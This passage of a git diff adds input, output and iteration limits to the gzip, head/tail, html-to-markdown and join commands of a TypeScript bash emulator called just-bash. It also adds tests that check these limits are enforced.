-    return { stdout: "", stderr: "", exitCode: 0 };
+  } finally {
+    codecLease?.release();
+    inputLease?.release();
   }
 }
 
 async function processDirectory(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   dirPath: string,
   flags: GzipFlags,
   cmdName: string,
   decompress: boolean,
   toStdout: boolean,
 ): Promise<GzipResult> {
-  const entries = await ctx.fs.readdir(dirPath);
-  let stdout = "";
-  let stderr = "";
+  const maxOutput = Math.min(
+    ctx.limits.maxOutputSize,
+    ctx.limits.maxStringLength,
+  );
+  const stdout = new BoundedStringBuilder(maxOutput, cmdName);
+  const stderr = new BoundedStringBuilder(maxOutput, cmdName);
   let exitCode = 0;
 
-  for (const entry of entries) {
-    const entryPath = ctx.fs.resolvePath(dirPath, entry);
-    const stat = await ctx.fs.stat(entryPath);
-
-    if (stat.isDirectory) {
-      const result = await processDirectory(
-        ctx,
-        entryPath,
-        flags,
-        cmdName,
-        decompress,
-        toStdout,
-      );
-      stdout += result.stdout;
-      stderr += result.stderr;
-      if (result.exitCode !== 0) exitCode = result.exitCode;
-    } else if (stat.isFile) {
+  await traverseFileTree(
+    {
+      fs: ctx.fs,
+      root: dirPath,
+      symlinks: "never",
+      limits: ctx.limits,
+      signal: ctx.signal,
+      executionScope: ctx.executionScope,
+      site: cmdName,
+    },
+    async (entry) => {
+      if (entry.depth === 0 || entry.phase !== "enter" || !entry.stat.isFile) {
+        return;
+      }
       // For decompression, only process files with the suffix
       // For compression, skip files that already have the suffix
       const suffix = flags.suffix;
-      if (decompress && !entry.endsWith(suffix)) continue;
-      if (!decompress && entry.endsWith(suffix)) continue;
+      if (decompress && !entry.path.endsWith(suffix)) return;
+      if (!decompress && entry.path.endsWith(suffix)) return;
 
-      const relativePath = entryPath.startsWith(`${ctx.cwd}/`)
-        ? entryPath.slice(ctx.cwd.length + 1)
-        : entryPath;
+      const relativePath = entry.path.startsWith(`${ctx.cwd}/`)
+        ? entry.path.slice(ctx.cwd.length + 1)
+        : entry.path;
       const result = await processFile(
         ctx,
         relativePath,
@@ -593,123 +804,133 @@ async function processDirectory(
         decompress,
         toStdout,
       );
-      stdout += result.stdout;
-      stderr += result.stderr;
+      stdout.append(result.stdout);
+      stderr.append(result.stderr);
       if (result.exitCode !== 0) exitCode = result.exitCode;
-    }
-  }
+    },
+  );
 
-  return { stdout, stderr, exitCode };
+  return { stdout: stdout.build(), stderr: stderr.build(), exitCode };
 }
 
 async function listFile(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   file: string,
   flags: GzipFlags,
   cmdName: string,
 ): Promise<GzipResult> {
   let inputData: Uint8Array;
+  let inputLease: ResourceLease | undefined;
 
-  if (file === "-" || file === "") {
-    inputData = Uint8Array.from(latin1FromBytes(ctx.stdin), (c) =>
-      c.charCodeAt(0),
-    );
-  } else {
-    const inputPath = ctx.fs.resolvePath(ctx.cwd, file);
-    try {
-      inputData = await ctx.fs.readFileBuffer(inputPath);
-    } catch {
-      return {
-        stdout: "",
-        stderr: `${cmdName}: ${file}: No such file or directory\n`,
-        exitCode: 1,
-      };
-    }
+  try {
+    const reserved = await readReservedOperand(ctx, file, cmdName);
+    inputData = reserved.data;
+    inputLease = reserved.lease;
+  } catch (error) {
+    rethrowFatalExecutionError(error);
+    return {
+      stdout: "",
+      stderr: `${cmdName}: ${file}: No such file or directory\n`,
+      exitCode: 1,
+    };
   }
 
-  if (!isGzip(inputData)) {
-    if (!flags.quiet) {
-      return {
-        stdout: "",
-        stderr: `${cmdName}: ${file}: not in gzip format\n`,
-        exitCode: 1,
-      };
+  try {
+    if (!isGzip(inputData)) {
+      if (!flags.quiet) {
+        return {
+          stdout: "",
+          stderr: `${cmdName}: ${file}: not in gzip format\n`,
+          exitCode: 1,
+        };
+      }
+      return { stdout: "", stderr: "", exitCode: 1 };
     }
-    return { stdout: "", stderr: "", exitCode: 1 };
-  }
 
-  const compressed = inputData.length;
-  const uncompressed = getUncompressedSize(inputData);
-  const ratio =
-    uncompressed > 0
-      ? ((1 - compressed / uncompressed) * 100).toFixed(1)
-      : "0.0";
+    const compressed = inputData.length;
+    const uncompressed = getUncompressedSize(inputData);
+    const ratio =
+      uncompressed > 0
+        ? ((1 - compressed / uncompressed) * 100).toFixed(1)
+        : "0.0";
 
-  const header = parseGzipHeader(inputData);
-  const name =
-    header.originalName || (file === "-" ? "" : file.replace(/\.gz$/, ""));
+    const header = parseGzipHeader(inputData);
+    const name =
+      header.originalName || (file === "-" ? "" : file.replace(/\.gz$/, ""));
 
-  // Format: compressed uncompressed ratio uncompressed_name
-  const line = `${compressed.toString().padStart(10)} ${uncompressed.toString().padStart(10)} ${ratio.padStart(5)}% ${name}\n`;
+    // Format: compressed uncompressed ratio uncompressed_name
+    const line = `${compressed.toString().padStart(10)} ${uncompressed.toString().padStart(10)} ${ratio.padStart(5)}% ${name}\n`;
 
-  return { stdout: line, stderr: "", exitCode: 0 };
+    return { stdout: line, stderr: "", exitCode: 0 };
+  } finally {
+    inputLease?.release();
+  }
 }
 
 async function testFile(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   file: string,
   flags: GzipFlags,
   cmdName: string,
 ): Promise<GzipResult> {
   let inputData: Uint8Array;
+  let inputLease: ResourceLease | undefined;
 
-  if (file === "-" || file === "") {
-    inputData = Uint8Array.from(latin1FromBytes(ctx.stdin), (c) =>
-      c.charCodeAt(0),
-    );
-  } else {
-    const inputPath = ctx.fs.resolvePath(ctx.cwd, file);
-    try {
-      inputData = await ctx.fs.readFileBuffer(inputPath);
-    } catch {
-      return {
-        stdout: "",
-        stderr: `${cmdName}: ${file}: No such file or directory\n`,
-        exitCode: 1,
-      };
-    }
+  try {
+    const reserved = await readReservedOperand(ctx, file, cmdName);
+    inputData = reserved.data;
+    inputLease = reserved.lease;
+  } catch (error) {
+    rethrowFatalExecutionError(error);
+    return {
+      stdout: "",
+      stderr: `${cmdName}: ${file}: No such file or directory\n`,
+      exitCode: 1,
+    };
   }
 
-  if (!isGzip(inputData)) {
-    if (!flags.quiet) {
+  try {
+    if (!isGzip(inputData)) {
+      if (!flags.quiet) {
+        return {
+          stdout: "",
+          stderr: `${cmdName}: ${file}: not in gzip format\n`,
+          exitCode: 1,
+        };
+      }
+      return { stdout: "", stderr: "", exitCode: 1 };
+    }
+
+    try {
+      const decoded = gunzipWithLimit(
+        inputData,
+        getMaxDecompressedSize(ctx),
+        ctx.limits.maxInputBytes,
+        ctx.signal,
+        ctx,
+      );
+      decoded.lease?.release();
+      if (flags.verbose) {
+        return { stdout: "", stderr: `${file}:\tOK\n`, exitCode: 0 };
+      }
+      return { stdout: "", stderr: "", exitCode: 0 };
+    } catch (e) {
+      rethrowFatalExecutionError(e);
+      const msg = e instanceof Error ? e.message : "invalid";
       return {
         stdout: "",
-        stderr: `${cmdName}: ${file}: not in gzip format\n`,
+        stderr: `${cmdName}: ${file}: ${msg}\n`,
         exitCode: 1,
       };
     }
-    return { stdout: "", stderr: "", exitCode: 1 };
-  }
-
-  try {
-    gunzipWithLimit(inputData, getMaxDecompressedSize(ctx));
-    if (flags.verbose) {
-      return { stdout: "", stderr: `${file}:\tOK\n`, exitCode: 0 };
-    }
-    return { stdout: "", stderr: "", exitCode: 0 };
-  } catch (e) {
-    const msg = e instanceof Error ? e.message : "invalid";
-    return {
-      stdout: "",
-      stderr: `${cmdName}: ${file}: ${msg}\n`,
-      exitCode: 1,
-    };
+  } finally {
+    inputLease?.release();
   }
 }
 
 async function executeGzip(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   cmdName: "gzip" | "gunzip" | "zcat",
 ): Promise<ExecResult> {
   // Determine help based on command name
@@ -806,25 +1027,34 @@ async function executeGzip(
   return { stdout, stderr, exitCode };
 }
 
-export const gzipCommand: Command = {
+export const gzipCommand: RuntimeCommand = {
   name: "gzip",
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     const result = await executeGzip(args, ctx, "gzip");
     return { ...result, stdoutEncoding: "binary" };
   },
 };
 
-export const gunzipCommand: Command = {
+export const gunzipCommand: RuntimeCommand = {
   name: "gunzip",
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     const result = await executeGzip(args, ctx, "gunzip");
     return { ...result, stdoutEncoding: "binary" };
   },
 };
 
-export const zcatCommand: Command = {
+export const zcatCommand: RuntimeCommand = {
   name: "zcat",
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     const result = await executeGzip(args, ctx, "zcat");
     return { ...result, stdoutEncoding: "binary" };
   },
diff --git a/packages/just-bash/src/commands/head/head-tail-shared.ts b/packages/just-bash/src/commands/head/head-tail-shared.ts
index 35f98489..0292a3ec 100644
--- a/packages/just-bash/src/commands/head/head-tail-shared.ts
+++ b/packages/just-bash/src/commands/head/head-tail-shared.ts
@@ -2,12 +2,15 @@
  * Shared utilities for head and tail commands.
  */
 
+import { BoundedStringBuilder } from "../../bounded-builder.js";
 import {
   encodeUtf8ToBytes,
   latin1FromBytes,
   readBytesFrom,
 } from "../../encoding.js";
-import type { CommandContext, ExecResult } from "../../types.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type { ExecResult, RuntimeCommandContext } from "../../types.js";
 import { unknownOption } from "../help.js";
 
 export interface HeadTailOptions {
@@ -114,12 +117,18 @@ export function parseHeadTailArgs(
  * Handles stdin, multiple files, headers, and error handling.
  */
 export async function processHeadTailFiles(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   options: HeadTailOptions,
   cmdName: "head" | "tail",
   contentProcessor: (content: string) => string,
 ): Promise<ExecResult> {
   const { quiet, verbose, files } = options;
+  if (files.length > ctx.limits.maxArrayElements) {
+    throw new ExecutionLimitError(
+      `${cmdName}: file operand limit exceeded (${ctx.limits.maxArrayElements})`,
+      "array_elements",
+    );
+  }
 
   // If no files, read from stdin. head/tail are byte-clean: `\n` splits and
   // `-c` byte slices are byte-safe over the latin1 view, and the output is
@@ -133,9 +142,14 @@ export async function processHeadTailFiles(
     };
   }
 
-  let stdout = "";
-  let stderr = "";
+  const maxBytes = Math.min(
+    ctx.limits.maxOutputSize,
+    ctx.limits.maxStringLength,
+  );
+  const stdout = new BoundedStringBuilder(maxBytes, cmdName);
+  const stderr = new BoundedStringBuilder(maxBytes, cmdName);
   let exitCode = 0;
+  let aggregateInput = 0;
 
   // Determine whether to show headers
   // -v always shows, -q never shows, default shows for multiple files
@@ -147,10 +161,25 @@ export async function processHeadTailFiles(
 
     try {
       const filePath = ctx.fs.resolvePath(ctx.cwd, file);
+      const stat = await ctx.fs.stat(filePath);
+      if (stat.size > ctx.limits.maxInputBytes - aggregateInput) {
+        throw new ExecutionLimitError(
+          `${cmdName}: aggregate input size limit exceeded (${ctx.limits.maxInputBytes} bytes)`,
+          "string_length",
+        );
+      }
       // Read the raw bytes (latin1 view) rather than `fs.readFile`'s UTF-8
       // decode: `-c` byte counts and binary content must round-trip exactly.
       // Matches the stdin path above and `cat`'s byte-clean behaviour.
       const content = latin1FromBytes(await readBytesFrom(ctx.fs, filePath));
+      if (content.length > ctx.limits.maxInputBytes - aggregateInput) {
+        throw new ExecutionLimitError(
+          `${cmdName}: aggregate input size limit exceeded (${ctx.limits.maxInputBytes} bytes)`,
+          "string_length",
+        );
+      }
+      aggregateInput += content.length;
+      ctx.executionScope?.consumeInput(content.length, cmdName);
 
       // Show header if needed - only after we know the file exists.
       // The whole result is marked binary, so the redirect/pipe glue writes
@@ -160,18 +189,24 @@ export async function processHeadTailFiles(
       // `café.txt` would be written as latin1 (`é` -> 0xE9) instead of
       // UTF-8 (`é` -> 0xC3 0xA9), corrupting the header on redirect.
       if (showHeaders) {
-        if (filesProcessed > 0) stdout += "\n";
-        stdout += latin1FromBytes(encodeUtf8ToBytes(`==> ${file} <==\n`));
+        if (filesProcessed > 0) stdout.append("\n");
+        stdout.append(latin1FromBytes(encodeUtf8ToBytes(`==> ${file} <==\n`)));
       }
-      stdout += contentProcessor(content);
+      stdout.append(contentProcessor(content));
       filesProcessed++;
-    } catch {
-      stderr += `${cmdName}: ${file}: No such file or directory\n`;
+    } catch (error) {
+      rethrowFatalExecutionError(error);
+      stderr.append(`${cmdName}: ${file}: No such file or directory\n`);
       exitCode = 1;
     }
   }
 
-  return { stdout, stderr, exitCode, stdoutEncoding: "binary" };
+  return {
+    stdout: stdout.build(),
+    stderr: stderr.build(),
+    exitCode,
+    stdoutEncoding: "binary",
+  };
 }
 
 /**
@@ -196,7 +231,7 @@ export function getHead(
     const nextNewline = content.indexOf("\n", pos);
     if (nextNewline === -1) {
       // No more newlines, rest of content is last line
-      return `${content}\n`;
+      return content;
     }
     lineCount++;
     pos = nextNewline + 1;
@@ -215,6 +250,7 @@ export function getTail(
   fromLine: boolean,
 ): string {
   if (bytes !== null) {
+    if (bytes === 0) return "";
     return content.slice(-bytes);
   }
 
@@ -227,12 +263,11 @@ export function getTail(
     let lineCount = 1;
     while (pos < len && lineCount < lines) {
       const nextNewline = content.indexOf("\n", pos);
-      if (nextNewline === -1) break;
+      if (nextNewline === -1) return "";
       lineCount++;
       pos = nextNewline + 1;
     }
-    const result = content.slice(pos);
-    return result.endsWith("\n") ? result : `${result}\n`;
+    return content.slice(pos);
   }
 
   if (lines === 0) return "";
@@ -254,6 +289,5 @@ export function getTail(
   }
 
   if (pos < 0) pos = 0;
-  const result = content.slice(pos);
-  return content[len - 1] === "\n" ? result : `${result}\n`;
+  return content.slice(pos);
 }
diff --git a/packages/just-bash/src/commands/head/head.test.ts b/packages/just-bash/src/commands/head/head.test.ts
index d1c2307a..f347a4d6 100644
--- a/packages/just-bash/src/commands/head/head.test.ts
+++ b/packages/just-bash/src/commands/head/head.test.ts
@@ -93,7 +93,7 @@ describe("head", () => {
       files: { "/test.txt": "no newline" },
     });
     const result = await env.exec("head -n 1 /test.txt");
-    expect(result.stdout).toBe("no newline\n");
+    expect(result.stdout).toBe("no newline");
   });
 
   it("should show first line only with -n 1", async () => {
diff --git a/packages/just-bash/src/commands/head/head.ts b/packages/just-bash/src/commands/head/head.ts
index 076ae9f4..ffa467d6 100644
--- a/packages/just-bash/src/commands/head/head.ts
+++ b/packages/just-bash/src/commands/head/head.ts
@@ -1,4 +1,8 @@
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 import {
   getHead,
@@ -19,10 +23,13 @@ const headHelp = {
   ],
 };
 
-export const headCommand: Command = {
+export const headCommand: RuntimeCommand = {
   name: "head",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(headHelp);
     }
diff --git a/packages/just-bash/src/commands/help/help.ts b/packages/just-bash/src/commands/help/help.ts
index f34ee5c0..396b4d5c 100644
--- a/packages/just-bash/src/commands/help/help.ts
+++ b/packages/just-bash/src/commands/help/help.ts
@@ -1,7 +1,11 @@
 import { shellJoinArgs } from "../../helpers/shell-quote.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 
-// Command categories for organized display
+// RuntimeCommand categories for organized display
 const CATEGORIES = new Map<string, string[]>([
   [
     "File operations",
@@ -84,9 +88,12 @@ function formatHelp(commands: string[]): string {
   return `${lines.join("\n")}\n`;
 }
 
-export const helpCommand: Command = {
+export const helpCommand: RuntimeCommand = {
   name: "help",
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     // Handle --help
     if (args.includes("--help") || args.includes("-h")) {
       return {
diff --git a/packages/just-bash/src/commands/history/history.ts b/packages/just-bash/src/commands/history/history.ts
index c646cacd..07e2e69d 100644
--- a/packages/just-bash/src/commands/history/history.ts
+++ b/packages/just-bash/src/commands/history/history.ts
@@ -1,4 +1,8 @@
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
 const historyHelp = {
@@ -14,10 +18,13 @@ const historyHelp = {
 // History is stored in the environment as JSON
 const HISTORY_KEY = "BASH_HISTORY";
 
-export const historyCommand: Command = {
+export const historyCommand: RuntimeCommand = {
   name: "history",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(historyHelp);
     }
diff --git a/packages/just-bash/src/commands/hostname/hostname.ts b/packages/just-bash/src/commands/hostname/hostname.ts
index e1f8b531..f07e2e27 100644
--- a/packages/just-bash/src/commands/hostname/hostname.ts
+++ b/packages/just-bash/src/commands/hostname/hostname.ts
@@ -6,17 +6,21 @@
  * In sandboxed environment, always returns "localhost".
  */
 
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 
 async function hostnameExecute(
   _args: string[],
-  _ctx: CommandContext,
+  _ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   // In sandboxed environment, always return "localhost"
   return { stdout: "localhost\n", stderr: "", exitCode: 0 };
 }
 
-export const hostname: Command = {
+export const hostname: RuntimeCommand = {
   name: "hostname",
   execute: hostnameExecute,
 };
diff --git a/packages/just-bash/src/commands/html-to-markdown/html-to-markdown.test.ts b/packages/just-bash/src/commands/html-to-markdown/html-to-markdown.test.ts
index efaaa895..c77e8ccb 100644
--- a/packages/just-bash/src/commands/html-to-markdown/html-to-markdown.test.ts
+++ b/packages/just-bash/src/commands/html-to-markdown/html-to-markdown.test.ts
@@ -2,6 +2,36 @@ import { describe, expect, it } from "vitest";
 import { Bash } from "../../Bash.js";
 
 describe("html-to-markdown", () => {
+  describe("execution limits", () => {
+    it("rejects oversized input before conversion", async () => {
+      const env = new Bash({
+        files: { "/large.html": `<p>${"x".repeat(40)}</p>` },
+        executionLimits: { maxStringLength: 32 },
+      });
+      const result = await env.exec("html-to-markdown /large.html");
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("input size limit exceeded");
+    });
+
+    it("bounds document complexity before invoking Turndown", async () => {
+      const env = new Bash({ executionLimits: { maxLoopIterations: 2 } });
+      const result = await env.exec(
+        'echo "<p>a</p><p>b</p>" | html-to-markdown',
+      );
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("complexity limit exceeded");
+    });
+
+    it("rejects invalid amplification options", async () => {
+      const env = new Bash();
+      const result = await env.exec(
+        'echo "<p>x</p>" | html-to-markdown --bullet=long',
+      );
+      expect(result.exitCode).toBe(1);
+      expect(result.stderr).toContain("invalid bullet marker");
+    });
+  });
+
   describe("basic conversion", () => {
     it("converts simple HTML to markdown", async () => {
       const env = new Bash();
diff --git a/packages/just-bash/src/commands/html-to-markdown/html-to-markdown.ts b/packages/just-bash/src/commands/html-to-markdown/html-to-markdown.ts
index c8d555d5..80d9cede 100644
--- a/packages/just-bash/src/commands/html-to-markdown/html-to-markdown.ts
+++ b/packages/just-bash/src/commands/html-to-markdown/html-to-markdown.ts
@@ -5,8 +5,18 @@
  */
 
 import TurndownService from "turndown";
-import { decodeBytesToUtf8 } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import {
+  decodeBytesToUtf8,
+  latin1FromBytes,
+  utf8ByteLength,
+} from "../../encoding.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 
 const htmlToMarkdownHelp = {
@@ -49,10 +59,13 @@ const htmlToMarkdownHelp = {
   ],
 };
 
-export const htmlToMarkdownCommand: Command = {
+export const htmlToMarkdownCommand: RuntimeCommand = {
   name: "html-to-markdown",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(htmlToMarkdownHelp);
     }
@@ -97,13 +110,37 @@ export const htmlToMarkdownCommand: Command = {
     // and tag boundaries are recognized correctly. File reads use utf8 by
     // default already.
     let input: string;
+    const maxInputBytes = Math.min(
+      ctx.limits.maxInputBytes,
+      ctx.limits.maxStringLength,
+    );
     if (files.length === 0 || (files.length === 1 && files[0] === "-")) {
+      if (latin1FromBytes(ctx.stdin).length > maxInputBytes) {
+        throw new ExecutionLimitError(
+          `html-to-markdown: input size limit exceeded (${maxInputBytes} bytes)`,
+          "string_length",
+        );
+      }
       input = decodeBytesToUtf8(ctx.stdin);
     } else {
       try {
         const filePath = ctx.fs.resolvePath(ctx.cwd, files[0]);
+        const stat = await ctx.fs.stat(filePath);
+        if (stat.size > maxInputBytes) {
+          throw new ExecutionLimitError(
+            `html-to-markdown: input size limit exceeded (${maxInputBytes} bytes)`,
+            "string_length",
+          );
+        }
         input = await ctx.fs.readFile(filePath);
-      } catch {
+        if (utf8ByteLength(input) > maxInputBytes) {
+          throw new ExecutionLimitError(
+            `html-to-markdown: input size limit exceeded (${maxInputBytes} bytes)`,
+            "string_length",
+          );
+        }
+      } catch (error) {
+        rethrowFatalExecutionError(error);
         return {
           stdout: "",
           stderr: `html-to-markdown: ${files[0]}: No such file or directory\n`,
@@ -116,6 +153,60 @@ export const htmlToMarkdownCommand: Command = {
       return { stdout: "", stderr: "", exitCode: 0 };
     }
 
+    if (!["-", "+", "*"].includes(bullet)) {
+      return {
+        stdout: "",
+        stderr: "html-to-markdown: invalid bullet marker\n",
+        exitCode: 1,
+      };
+    }
+    if (codeFence !== "```" && codeFence !== "~~~") {
+      return {
+        stdout: "",
+        stderr: "html-to-markdown: invalid code fence\n",
+        exitCode: 1,
+      };
+    }
+
+    let tagCount = 0;
+    const maxOperations = ctx.limits.maxLoopIterations;
+    for (let index = 0; index < input.length; index++) {
+      if (input.charCodeAt(index) === 60 && ++tagCount > maxOperations) {
+        throw new ExecutionLimitError(
+          `html-to-markdown: complexity limit exceeded (${maxOperations} tags)`,
+          "iterations",
+        );
+      }
+    }
+    ctx.executionScope?.consumeWork(tagCount, "html-to-markdown tags");
+
+    const inputSize = utf8ByteLength(input);
+    const maxOutputBytes = Math.min(
+      ctx.limits.maxStringLength,
+      ctx.limits.maxOutputSize,
+    );
+    // Turndown is an opaque synchronous library. Reserve a conservative
+    // expansion envelope before calling it so neither its result nor the
+    // simultaneous input/result retention can cross configured ceilings.
+    const expansionFactor = 4;
+    if (inputSize > Math.floor((maxOutputBytes - 1) / expansionFactor)) {
+      throw new ExecutionLimitError(
+        `html-to-markdown: prospective output size limit exceeded (${maxOutputBytes} bytes)`,
+        "output_size",
+      );
+    }
+    const prospectiveOutputBytes = inputSize * expansionFactor + 1;
+    const inputLease = ctx.executionScope?.reserveBytes(
+      "html input",
+      inputSize,
+      "html-to-markdown",
+    );
+    const prospectiveOutputLease = ctx.executionScope?.reserveBytes(
+      "html prospective output",
+      prospectiveOutputBytes,
+      "html-to-markdown",
+    );
+
     try {
       const turndownService = new TurndownService({
         bulletListMarker: bullet as "-" | "+" | "*",
@@ -129,6 +220,13 @@ export const htmlToMarkdownCommand: Command = {
       turndownService.remove(["script", "style", "footer"]);
 
       const markdown = turndownService.turndown(input).trim();
+      const outputBytes = utf8ByteLength(markdown) + 1;
+      if (outputBytes > maxOutputBytes) {
+        throw new ExecutionLimitError(
+          `html-to-markdown: output size limit exceeded (${maxOutputBytes} bytes)`,
+          "output_size",
+        );
+      }
       // html-to-markdown emits text; the pipeline handles encoding.
       return {
         stdout: `${markdown}\n`,
@@ -136,6 +234,7 @@ export const htmlToMarkdownCommand: Command = {
         exitCode: 0,
       };
     } catch (error) {
+      rethrowFatalExecutionError(error);
       return {
         stdout: "",
         stderr: `html-to-markdown: conversion error: ${
@@ -143,6 +242,9 @@ export const htmlToMarkdownCommand: Command = {
         }\n`,
         exitCode: 1,
       };
+    } finally {
+      prospectiveOutputLease?.release();
+      inputLease?.release();
     }
   },
 };
diff --git a/packages/just-bash/src/commands/input-budget-files.security.test.ts b/packages/just-bash/src/commands/input-budget-files.security.test.ts
new file mode 100644
index 00000000..ff5b513d
--- /dev/null
+++ b/packages/just-bash/src/commands/input-budget-files.security.test.ts
@@ -0,0 +1,48 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../Bash.js";
+
+describe("aggregate command file-input accounting", () => {
+  it("charges transforming cat reads across command invocations", async () => {
+    const bash = new Bash({
+      files: {
+        "/first.txt": "x\n\n\n",
+        "/second.txt": "y\n\n\n",
+      },
+      executionLimits: {
+        maxInputBytes: 7,
+        maxStringLength: 100,
+        maxOutputSize: 100,
+      },
+    });
+
+    const result = await bash.exec("cat -s /first.txt; cat -s /second.txt");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain(
+      "cat: aggregate input size limit exceeded (7 bytes)",
+    );
+  });
+
+  it("charges base64 file reads across command invocations", async () => {
+    const bash = new Bash({
+      files: {
+        "/first.b64": "YQ==",
+        "/second.b64": "Yg==",
+      },
+      executionLimits: {
+        maxInputBytes: 7,
+        maxStringLength: 100,
+        maxOutputSize: 100,
+      },
+    });
+
+    const result = await bash.exec(
+      "base64 -d /first.b64; base64 -d /second.b64",
+    );
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain(
+      "base64: aggregate input size limit exceeded (7 bytes)",
+    );
+  });
+});
diff --git a/packages/just-bash/src/commands/join/join.ts b/packages/just-bash/src/commands/join/join.ts
index 651cfe2b..17b2c55d 100644
--- a/packages/just-bash/src/commands/join/join.ts
+++ b/packages/just-bash/src/commands/join/join.ts
@@ -12,8 +12,14 @@ import {
   encodeUtf8ToBytes,
   latin1FromBytes,
 } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
+import { utf8ByteLength } from "../printf/escapes.js";
 
 const joinHelp = {
   name: "join",
@@ -165,9 +171,12 @@ function parseOutputFormat(
   return result;
 }
 
-export const join: Command = {
+export const join: RuntimeCommand = {
   name: "join",
-  execute: async (args: string[], ctx: CommandContext): Promise<ExecResult> => {
+  execute: async (
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> => {
     if (hasHelpFlag(args)) {
       return showHelp(joinHelp);
     }
@@ -309,8 +318,50 @@ export const join: Command = {
       }
     }
 
+    const maxArrayElements = ctx.limits.maxArrayElements;
+    const maxIterations = ctx.limits.maxLoopIterations;
+    const maxStringLength = Math.min(
+      ctx.limits.maxInputBytes,
+      ctx.limits.maxStringLength,
+    );
+    const maxOutputSize = Math.min(
+      ctx.limits.maxOutputSize,
+      ctx.limits.maxStringLength,
+    );
+    const aggregateInputBytes = contents.reduce(
+      (total, content) => total + utf8ByteLength(content),
+      0,
+    );
+    if (aggregateInputBytes > maxStringLength) {
+      throw new ExecutionLimitError(
+        `join: aggregate input size limit exceeded (${maxStringLength} bytes)`,
+        "string_length",
+      );
+    }
+    let parsedLineCount = 0;
+    let iterations = 0;
+    const useIteration = (): void => {
+      if (++iterations > maxIterations) {
+        throw new ExecutionLimitError(
+          `join: iteration limit exceeded (${maxIterations})`,
+          "iterations",
+        );
+      }
+    };
+
     // Parse lines from both files
     const parseLines = (content: string, joinField: number): ParsedLine[] => {
+      let lineCount = content.length > 0 ? 1 : 0;
+      for (let i = 0; i < content.length; i++) {
+        if (content.charCodeAt(i) === 10 && i + 1 < content.length) lineCount++;
+      }
+      if (lineCount > maxArrayElements - parsedLineCount) {
+        throw new ExecutionLimitError(
+          `join: array element limit exceeded (${maxArrayElements})`,
+          "array_elements",
+        );
+      }
+      parsedLineCount += lineCount;
       const lines = content.split("\n");
       if (content.endsWith("\n") && lines[lines.length - 1] === "") {
         lines.pop();
@@ -337,6 +388,25 @@ export const join: Command = {
     }
 
     const output: string[] = [];
+    let outputBytes = 0;
+    const appendOutput = (line: string): void => {
+      useIteration();
+      if (output.length >= maxArrayElements) {
+        throw new ExecutionLimitError(
+          `join: array element limit exceeded (${maxArrayElements})`,
+          "array_elements",
+        );
+      }
+      const lineBytes = utf8ByteLength(line) + 1;
+      if (lineBytes > maxOutputSize - outputBytes) {
+        throw new ExecutionLimitError(
+          `join: output size limit exceeded (${maxOutputSize} bytes)`,
+          "output_size",
+        );
+      }
+      output.push(line);
+      outputBytes += lineBytes;
+    };
     const matchedKeys2 = new Set<string>();
 
     // Process file1 lines
@@ -350,13 +420,13 @@ export const join: Command = {
         if (options.onlyUnpairable.size === 0) {
           // Output joined lines (unless we only want unpairable)
           for (const line2 of matches) {
-            output.push(formatOutputLine(line1, line2, options));
+            appendOutput(formatOutputLine(line1, line2, options));
           }
         }
       } else {
         // No match - print if -a1 or -v1
